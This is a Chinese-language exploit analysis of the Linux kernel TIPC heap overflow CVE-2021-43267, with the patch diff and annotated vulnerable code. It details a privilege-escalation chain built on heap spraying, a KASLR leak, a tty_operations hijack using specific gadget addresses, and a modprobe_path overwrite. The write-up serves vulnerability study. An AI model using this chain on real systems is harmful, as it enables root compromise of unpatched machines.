CVE-2021-43267 TIPC協議MSG_CRYPTO消息溢出利用
影響版本:Linux v5.10-rc1 ~ v5.14.15。v5.14.16已修補。高危,可導致遠程提權,評分9.8。默認不加載,需用戶配置。
測試版本:Linux-5.14.15 exploit及測試環境下載地址—https://github.com/bsauce/kernel-exploit-factory
編譯選項:配置所有**TIPC**選項,CONFIG_TIPC=y;**NETLINK**選項。
在編譯時將.config中的CONFIG_E1000和CONFIG_E1000E,變更為=y。參考
exp原作者關閉了 CONFIG_SLAB_FREELIST_RANDOM 和 CONFIG_SLAB_FREELIST_HARDENED,難怪我的測試總是不能成功。如何在有CONFIG_SLAB_FREELIST_HARDENED保護的情況下提高利用成功率呢?
# 安裝 pahole, 否則 CONFIG_DEBUG_INFO_BTF 不成功。但是安裝完后還是報錯,所以修改.config 中 CONFIG_DEBUG_INFO_BTF=n 來關閉BTF。$ git clone https://git.kernel.org/pub/scm/devel/pahole/pahole.git/$ cd pahole$ mkcd build$ sudo apt-get install cmake libdw-dev zlib1g zlib1g-dev libelf-dev dwarves$ cmake -D__LIB=lib ..$ sudo make install $ sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc qemu qemu-system bison flex libncurses5-dev libelf-dev$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.14.15.tar.xz$ tar -xvf linux-5.14.15.tar.xz# KASAN: 設置 make menuconfig 設置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。$ make -j32$ make all$ make modules# 編譯出的bzImage目錄:/arch/x86/boot/bzImage。 # 問題:make[1]: *** No rule to make target 'debian/canonical-certs.pem'# 解決:修改 .config, 將 CONFIG_SYSTEM_TRUSTED_KEYS 和 CONFIG_SYSTEM_REVOCATION_KEYS 置空即可# CONFIG_DEBUG_INFO_BTF=n
漏洞描述:漏洞位于 net/tipc/crypto.c 文件,TIPC(Transparent Inter-Process Communication)集群內通信協議中對 MSG_CRYPTO 類型的消息長度驗證出錯,導致堆溢出。tipc_crypto_key_rcv() 函數中,TIPC消息(tipc_msg結構)的數據部分指向MSG_CRYPTO消息(tipc_aead_key結構),在分配tipc_aead_key 空間并拷貝 tipc_aead_key->key 時,未校驗tipc_aead_key->keylen的有效性,導致拷貝越界。只對TIPC消息的 header size 和 msg size 進行檢查,卻沒有對 MSG_CRYPTO消息的tipc_aead_key->keylen進行檢查。
補丁:patch 在拷貝 MSG_CRYPTO 消息之前檢查 keylen 和 size。
net/tipc/crypto.c | 32 +++++++++++++++++++++----------- 1 file changed, 21 insertions(+), 11 deletions(-)
diff --git a/net/tipc/crypto.c b/net/tipc/crypto.c index c9391d38d..dc60c32bb 100644 --- a/net/tipc/crypto.c +++ b/net/tipc/crypto.c @@ -2285,43 +2285,53 @@ static bool tipc_crypto_key_rcv(struct tipc_crypto *rx, struct tipc_msg *hdr) u16 key_gen = msg_key_gen(hdr); u16 size = msg_data_sz(hdr); u8 *data = msg_data(hdr);
+ unsigned int keylen; + + /* Verify whether the size can exist in the packet */ + if (unlikely(size < sizeof(struct tipc_aead_key) + TIPC_AEAD_KEYLEN_MIN)) { + pr_debug("%s: message data size is too small", rx->name); + goto exit; + } + + keylen = ntohl(*((__be32 *)(data + TIPC_AEAD_ALG_NAME))); + + /* Verify the supplied size values */ + if (unlikely(size != keylen + sizeof(struct tipc_aead_key) || + keylen > TIPC_AEAD_KEY_SIZE_MAX)) { + pr_debug("%s: invalid MSG_CRYPTO key size", rx->name); + goto exit; + }
spin_lock(&rx->lock); if (unlikely(rx->skey || (key_gen == rx->key_gen && rx->key.keys))) { pr_err("%s: key existed <%p>, gen %d vs %d", rx->name, rx->skey, key_gen, rx->key_gen); - goto exit; + goto exit_unlock; } /* Allocate memory for the key */ skey = kmalloc(size, GFP_ATOMIC); if (unlikely(!skey)) { pr_err("%s: unable to allocate memory for skey", rx->name); - goto exit; + goto exit_unlock; }
/* Copy key from msg data */ - skey->keylen = ntohl(*((__be32 *)(data + TIPC_AEAD_ALG_NAME))); + skey->keylen = keylen; memcpy(skey->alg_name, data, TIPC_AEAD_ALG_NAME); memcpy(skey->key, data + TIPC_AEAD_ALG_NAME + sizeof(__be32), skey->keylen);
- /* Sanity check */ - if (unlikely(size != tipc_aead_key_size(skey))) { - kfree(skey); - skey = NULL; - goto exit; - } - rx->key_gen = key_gen; rx->skey_mode = msg_key_mode(hdr); rx->skey = skey; rx->nokey = 0; mb(); /* for nokey flag */
- exit: + exit_unlock: spin_unlock(&rx->lock); + exit: /* Schedule the key attaching on this crypto */ if (likely(skey && queue_delayed_work(tx->wq, &rx->work, 0))) return true;
保護機制:SMEP / SMAP / KASLR / KPTI
利用總結:
(1)使用netlink來使能 UDP bearer media ;
(2)創建有效的node link: 發送 LINK_CONFIG / LINK_PROTOCOL / LINK_PROTOCOL 包;
(3)創建 /tmp/benign 錯誤elf文件, 觸發modprobe; 創建 /tmp/hax 提權文件, modprobe_path 將指向 "/tmp/hax";
(4)堆噴布置2048個 msg_msg 消息, 釋放偶數下標的 msg_msg;
(5)觸發tipc漏洞,泄露內核基址;
(5-1)觸發 tipc 漏洞, 篡改 msg_msg->m_ts;
(5-2)噴射 0x40 個 tty_struct 結構,便于越界讀泄露;
(5-3)msg_msg 越界讀泄露 tty_struct->ops 和 tty_struct->ldisc_sem->read_wait->next(若讀取到tty_struct->magic 也即0x5401,則表示泄露成功);
(6)篡改 tty_struct->ops.ioctl 指針, 并篡改 modprobe_path 為 "/tmp/hax";
(6-1)msg_msg 消息偏移0x60處放置gadget mov qword ptr [rdx], rsi 地址(偽造tty_operations->ioctl指針),噴射2048個這樣的msg_msg;(6-2)篡改 tty_struct->ops 指針,指向某個 msg_msg 的消息開頭;(6-3)調用 ioctl 觸發任意寫gadget,篡改 modprobe_path 為 "/tmp/hax";
(7)執行 /tmp/hax 觸發modprobe并提權。
漏洞分析
1-1. TIPC協議介紹
簡介:TIPC(Transparent Inter Process Communication)是一種專為集群內通信而設計的協議。消息傳遞是順序保證、無丟失和流控制的。延遲時間比任何其他已知協議都短,而最大吞吐量可與 TCP 相媲美。
配置:默認不加載,需用戶來加載。加載時,TPIC可以用作socket并可以用Netlink接口來配置,它可以配置為通過 UDP 或直接通過Ethernet以太網傳輸消息。但是低權限的用戶無法創建Ethernet幀,所以使用UDP更容易實現本地漏洞利用。
協議頭:雖然TIPC是在這些協議之上運行的,但有獨立的地址方案,節點可以選擇自己的地址。所有的消息構造和分析都是在kernel中進行的。每個TIPC消息都有相同的通用header格式和消息特定的header,TIPC消息(tipc_msg結構)存儲地址位于sk_buff->data指向的線性數據區。對該漏洞來說,通用header最重要的部分是Header Size 和 message size。
TIPC消息的header如下所示:

tipc_msg_validate() 函數負責驗證這兩個size的大小。調用路徑 —— tipc_rcv() -> tipc_msg_validate()
bool tipc_msg_validate(struct sk_buff **_skb){ struct sk_buff *skb = *_skb; struct tipc_msg *hdr; int msz, hsz;
/* Ensure that flow control ratio condition is satisfied */ if (unlikely(skb->truesize / buf_roundup_len(skb) >= 4)) { skb = skb_copy_expand(skb, BUF_HEADROOM, 0, GFP_ATOMIC); if (!skb) return false; kfree_skb(*_skb); *_skb = skb; }
if (unlikely(TIPC_SKB_CB(skb)->validated)) return true;
if (unlikely(!pskb_may_pull(skb, MIN_H_SIZE))) return false;
hsz = msg_hdr_sz(buf_msg(skb)); // <------ [1-1] header size buf_msg(skb) 返回 skb->data指針(存儲數據包的內容和各層協議頭, 這里是tipc_msg結構, 參考CVE-2017-6074對sk_buff的分析); msg_hdr_sz() 取 hsz = (tipc_msg->hdr[0]>>21 & 0xf) << 2, 注意乘了4 if (unlikely(hsz < MIN_H_SIZE) || (hsz > MAX_H_SIZE)) // 滿足 hsz 在 24~60 之間 return false; if (unlikely(!pskb_may_pull(skb, hsz))) return false;
hdr = buf_msg(skb); if (unlikely(msg_version(hdr) != TIPC_VERSION)) return false;
msz = msg_size(hdr); // <------ [1-2] msg size msg_size() 取 msz = tipc_msg->hdr[0] & 0x1fff if (unlikely(msz < hsz)) return false; if (unlikely((msz - hsz) > TIPC_MAX_USER_MSG_SIZE)) // 滿足 msz-hsz<66000 return false; if (unlikely(skb->len < msz)) // [1-3] // 滿足 skb->len > msz; 注意skb->len表示數據區的總長度: (tail - data) + 分片結構體數據區的長度 return false;
TIPC_SKB_CB(skb)->validated = 1; return true;}// TIPC 消息結構struct tipc_msg { __be32 hdr[15];};static inline u32 msg_hdr_sz(struct tipc_msg *m){ return msg_bits(m, 0, 21, 0xf) << 2;}static inline struct tipc_msg *buf_msg(struct sk_buff *skb){ return (struct tipc_msg *)skb->data;}
TIPC消息頭檢查總結:
[1-2]處 —— TIPC消息的 hsz – header size 在 24~60 字節之間;
[1-2]處 —— msz – msg size 滿足 skb->len > msz(注意skb->len表示數據區的總長度:(tail – data) + 分片結構體數據區的長度)。
1-2. 漏洞分析
MSG_CRYPTO 消息結構:2020年9月引入了一個新的用戶消息類型—— MSG_CRYPTO,該消息類型允許節點發送加密的秘鑰。該消息結構如下所示:tipc_aead_key MSG_CRYPTO消息跟在TIPC消息頭之后(偏移24處開始)。
#define TIPC_AEAD_ALG_NAME (32)struct tipc_aead_key { char alg_name[TIPC_AEAD_ALG_NAME]; // TIPC_AEAD_ALG_NAME 32 unsigned int keylen; /* in bytes */ char key[];};
MSG_CRYPTO 消息處理:消息接收后,TIPC kernel模塊需要復制該信息到該節點來存儲:tipc_crypto_key_rcv()
調用路徑:(struct tipc_media udp_media_inf -> tipc_udp_enable() -> tipc_udp_recv()) | tipc_l2_rcv_msg() -> tipc_rcv() -> tipc_link_rcv() -> tipc_link_input() -> tipc_data_input() -> tipc_crypto_msg_rcv() -> tipc_crypto_key_rcv()
static bool tipc_crypto_key_rcv(struct tipc_crypto *rx, struct tipc_msg *hdr){ struct tipc_crypto *tx = tipc_net(rx->net)->crypto_tx; struct tipc_aead_key *skey = NULL; u16 key_gen = msg_key_gen(hdr); u16 size = msg_data_sz(hdr); // [2-1] size = msg_size(m) - msg_hdr_sz(m) = msz - hsz u8 *data = msg_data(hdr); // data = *hdr + hsz MSG_CRYPTO消息的拷貝起始地址,也即 tipc_aead_key 結構的起始地址
spin_lock(&rx->lock); if (unlikely(rx->skey || (key_gen == rx->key_gen && rx->key.keys))) { pr_err("%s: key existed <%p>, gen %d vs %d", rx->name, rx->skey, key_gen, rx->key_gen); goto exit; }
/* Allocate memory for the key */ skey = kmalloc(size, GFP_ATOMIC); // [2-2] 分配空間,分配的 size = msg - hsz, 而 msz 和 hsz 都來自 TIPC 消息 (tipc_msg 結構) if (unlikely(!skey)) { pr_err("%s: unable to allocate memory for skey", rx->name); goto exit; }
/* Copy key from msg data */ skey->keylen = ntohl(*((__be32 *)(data + TIPC_AEAD_ALG_NAME))); // [2-3] 拷貝長度 skey->keylen 來自偏移 *(*data+32), 未對該值進行范圍檢查 memcpy(skey->alg_name, data, TIPC_AEAD_ALG_NAME); // [2-4] 拷貝算法名稱, TIPC_AEAD_ALG_NAME = 32字節 memcpy(skey->key, data + TIPC_AEAD_ALG_NAME + sizeof(__be32), // [2-5] 拷貝密鑰, 越界 skey->keylen);
/* Sanity check */ if (unlikely(size != tipc_aead_key_size(skey))) { // [2-6] 必須滿足 size == sizeof(*skey) + skey->keylen, 這個檢查已經晚了, 溢出已經發生了!!!!! kfree(skey); skey = NULL; goto exit; }
rx->key_gen = key_gen; rx->skey_mode = msg_key_mode(hdr); rx->skey = skey; rx->nokey = 0; mb(); /* for nokey flag */
exit: spin_unlock(&rx->lock);
/* Schedule the key attaching on this crypto */ if (likely(skey && queue_delayed_work(tx->wq, &rx->work, 0))) return true;
return false;}
MSG_CRYPTO消息處理漏洞總結:TIPC消息(tipc_msg結構)的數據部分指向MSG_CRYPTO消息(tipc_aead_key結構),在分配tipc_aead_key 空間并拷貝 tipc_aead_key->key 時,未校驗tipc_aead_key->keylen的有效性,導致拷貝越界。拷貝越界之后才檢查keylen的有效性,為時已晚——[2-6]。只對TIPC消息的 header size 和 msg size 進行檢查,卻沒有對 MSG_CRYPTO消息的tipc_aead_key->keylen進行檢查。
利用思路:攻擊者可以創建一個tipc_msg->size 較小的TIPC消息來分配堆內存,再設置tipc_aead_key->keylen較大的MSG_CRYPTO 消息來觸發越界寫,觸發漏洞的 MSG_CRYPTO 消息示例如下:

觸發漏洞
2-1. 交互方式
shell交互:編譯時開啟TIPC或者加載TIPC模塊后,可通過shell來與TIPC交互,采用iproute2中的tipc命令(可以采用buildroot來編譯文件系統,開啟iproute2選項后,文件系統中就含有tipc命令)。使能UDP bearer media的具體命令是tipc bearer enable media udp name localip 。
code交互:用戶層可以使用netlink消息(AF_TIPC地址族)來使能UDP bearer media,非特權用戶也可以。所以即使沒有配置TIPC,也能完成利用。
2-2. 到達漏洞點
思路:首先我們要使自己成為一個有效的node,并創建一個link,接著觸發MSG_CRYPTO代碼路徑。參考TIPC的protocol specification頁面,可以了解傳輸、尋址、數據分片的細節。
方法:exp作者通過PCAP抓包分析tipc-over-udp session建立的過程,最后確定了我們發送消息前必發的幾個包。總的來說,一個正常的TIPC數據包前面包含一個header,也即6個32字節(大端序),我們標記為w0~w5。w0編碼了TIPC版本、header size、payload size、message protocol,還有個flag表示是否為順序消息;w1表示協議消息的類型;w3包含一個node_id,表示node的標識符,一般用IPv4地址表示node_id。可通過net/tipc/msg.h 文件來了解header格式。
創建有效node link過程:發送3個包。
- LINK_CONFIG 包會廣告自己;
- LINK_PROTOCOL 包(RESET_MSG消息類型)會重置link;
- LINK_PROTOCOL 包(STATE_MSG消息類型)會提出link;
- 現在可以發送MSG_CRYPTO TIPC 包來觸發堆溢出。
protocol: LINK_CONFIG -> message type: DSC_REQ_MSGprotocol: LINK_PROTOCOL -> message type: RESET_MSGprotocol: LINK_PROTOCOL -> message type: STATE_MSG
2-3. 觸發漏洞
方法:前面已經分析過,MSG_CRYPTO 消息的堆塊分配的size來自 tipc_msg->msz - tipc_msg->hsz,MSG_CRYPTO 消息的拷貝的size來自 tipc_aead_key->keylen 。所以通過控制 tipc_msg->msz 即可控制目標堆塊的分配大小,控制 tipc_aead_key->keylen 即可控制堆塊的溢出長度。
// TIPC 消息: (&tipc_msg + tipc_msg->hsz) 指向 MSG_CRYPTO 消息struct tipc_msg { __be32 hdr[15];};// MSG_CRYPTO 消息struct tipc_aead_key { char alg_name[TIPC_AEAD_ALG_NAME]; unsigned int keylen; char key[];};
TIPC消息布置如下:注意hsz的大小需左移2位,也即乘以4。tipc消息 = tipc_msg + tipc_aead_key。

繞過KALSR
泄露對象:采用ELOISE提出的Elastic Objects,例如CVE-2021-22555中也用到過的msg_msg。篡改msg_msg->m_ts 就能調用 msgrcv 進行OOB讀。
/* one msg_msg structure for each message */struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void *security; /* the actual message follows immediately */};
問題:覆寫msg_msg->m_ts的同時也會覆蓋msg_msg->m_list,調用msgrcv時會將匹配的消息從鏈表中unlink,如果不正確構造msg_msg->m_list就會導致訪問崩潰。解決辦法是在調用msgrcv時傳遞MSG_COPY flag,避免對目標消息進行unlink。
思路:在空間上布置出 msg_msg -> msg_msg -> interesting_object,然后釋放第1個msg_msg ,分配MSG_CRYPTO key堆塊占據第1個msg_msg,再利用MSG_CRYPTO key的溢出來篡改第2個msg_msg的msg_msg->m_ts,越界讀取 interesting_object 來泄露內核函數指針。
victim對象:interesting_object 選取 tty_struct,我們可以通過magic值來確認我們泄露的結構是否為有效的tty_struct (預期值為TTY_MAGIC-0x5401),struct tty_operations *ops 指向內核的.data段中某處,也即 tty_operations,可泄露內核基址,繞過KASLR。
泄露內核基址:泄露的tty_struct可能屬于master pty或slave pty,所以泄露的地址可能是 ptm_unix98_ops 或 pty_unix98_ops。
泄露堆地址:泄露 tty_struct 也能獲得 tty_struct 的地址,因為 tty_struct->ldisc_sem->read_wait->next 指向 next 指針自身。tty_struct->ldisc_sem->read_wait->next 的偏移為0x38,減去0x408就是msg_msg數據部分的基址。
struct tty_struct { int magic; struct kref kref; struct device *dev; /* class device or NULL (e.g. ptys, serdev) */ struct tty_driver *driver; const struct tty_operations *ops; int index; ...}
堆噴布局如下:

提權
劫持RIP:劫持tty_operations。首先噴射一堆fake tty_operations,然后根據上一步釋放的堆指針來猜測其中一個fake tty_operations的地址。
- 重復分配msg_msg、分配tty_struct、釋放msg_msg、觸發TIPC漏洞來覆蓋tty_struct;
- 為了確認是否成功覆蓋tty_struct,可以嘗試通過ioctl來調用tty_struct.ops.ioctl,如果成功劫持ops指針,就能控制RIP,否則調用close()關閉pty。
任意寫ROP:構造ROP鏈很難恢復現場,所以決定采用一條gadget來進行任意寫。ioctl調用的原型為int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg),可控制32位的cmd和64位的arg參數,也就是RSI和RDX。任意寫的gadget如下所示:本gadget還能將rax 清零,便于判斷是否成功偽造tty_operations并劫持RIP。
$ objdump -D -j .text ./vmlinux_small \ | grep -C1 'mov %rsi,(%rdx)' \ | grep -B2 ret..ffffffff812c51f5: 31 c0 xor %eax,%eaxffffffff812c51f7: 48 89 32 mov %rsi,(%rdx)ffffffff812c51fa: c3 ret..
提權:傳統方法是構造任意讀和任意寫來篡改cred,本文未采用這種方法。本文篡改modprobe_path(特權用戶可以通過/proc/sys/kernel/modprobe來篡改)來執行惡意程序。如果執行一個magic值未知的binary,request_module最后會調用call_modprobe來發起一個基于modprobe_path的modprobe進程。
/* * cycle the list of binary formats handler, until one recognizes the image */static int search_binary_handler(struct linux_binprm *bprm){ .. if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0) ..}
堆噴布局如下:

改進exp
問題:exp作者編譯的內核版本是 5.15.0,能夠找到含 xor eax, eax (能反映執行是否成功)和 mov dword ptr [rdx], rsi 的gadget,但我編譯的5.14.15版本內核不含該gadget。
解決:gadget中不需要含有 xor eax, eax 也能成功提權,見 exp1.c。成功提權截圖如下:

嘗試別的gadget:全部嘗試都失敗,看來目前只能修改 modprobe_path 了。exp原作者修改 modprobe_path 的方式非常好,如果通過rop鏈來修改modprobe_path的話,還需要保存現場,無法保存rsp原先的值,因為不能用xchg rsp, xxx 這樣的gadget。
// 首先執行到ioctl(), 發現 $rdi / $rbp / $r15 指向tty_struct, 可控// (1) mov rsp, rdi/rbp/r15 沒找到// (2) mov rsp, qword ptr [rdi/rbp/r15 沒找到 // (3) bridging gadget: regcache_mark_dirty(), 但是找不到 mov cr4, rdivoid regcache_mark_dirty(struct regmap *map){ map->lock(map->lock_arg); map->cache_dirty = true; map->no_sync_defaults = true; map->unlock(map->lock_arg);}EXPORT_SYMBOL_GPL(regcache_mark_dirty);// (4) push rdi/rbp/r15 pop rsp 不能破壞tty_struct前8字節(會導致ioctl調用失敗),所以pop rsp之后再pop兩次john@ubuntu:~/Desktop/tmp/CVE-2021-43267/file$ cat ./g1 | grep "push rdi" | grep "pop rsp"0xffffffff8165f1aa: push rdi; add byte ptr [rdi], cl; or ebx, dword ptr [rbx + 0x41]; pop rsp; ret; 0xffffffff814a353a: push rdi; add ebx, dword ptr [rbx + 0x41]; pop rsp; pop rbp; ret; john@ubuntu:~/Desktop/tmp/CVE-2021-43267/file$ cat ./g1 | grep "push rbp" | grep "pop rsp"0xffffffff81131122: push rbp; add byte ptr [rbp + 0x41], bl; pop rsp; pop r13; ret; 0xffffffff81aa41e4: push rbp; add byte ptr [rbp + 0x41], bl; pop rsp; ret; 0xffffffff819ea4df: push rbp; cmp byte ptr [rbp + 0x41], bl; pop rsp; pop r13; pop r14; ret; 0xffffffff810406a6: push rbp; or byte ptr [rbp + 0x41], bl; pop rsp; ret; // (4) 的問題是找不到 mov cr4, xxx 這個gadget, 從 v5.3.1開始 就不能使用 native_write_cr4() 來修改 cr4 了// v5.14.15static const unsigned long cr4_pinned_mask = X86_CR4_SMEP | X86_CR4_SMAP | X86_CR4_UMIP | X86_CR4_FSGSBASE;void native_write_cr4(unsigned long val){ unsigned long bits_changed = 0;
set_register: asm volatile("mov %0,%%cr4": "+r" (val) : : "memory");
if (static_branch_likely(&cr_pinning)) { if (unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) { bits_changed = (val & cr4_pinned_mask) ^ cr4_pinned_bits; val = (val & ~cr4_pinned_mask) | cr4_pinned_bits; goto set_register; } /* Warn after we've corrected the changed bits. */ WARN_ONCE(bits_changed, "pinned CR4 bits changed: 0x%lx!?", bits_changed); }}// v5.2.21static inline void native_write_cr4(unsigned long val){ asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order));}
參考
Exploiting CVE-2021-43267 — 漏洞利用者
NVD-CVE-2021-43267-detail
CVE-2021-43267: Linux TIPC模塊任意代碼執行漏洞
CVE-2021-43267: Remote Linux Kernel Heap Overflow | TIPC Module Allows Arbitrary Code Execution — 漏洞發現者
Transparent Inter Process Communication Protocol — TIPC協議介紹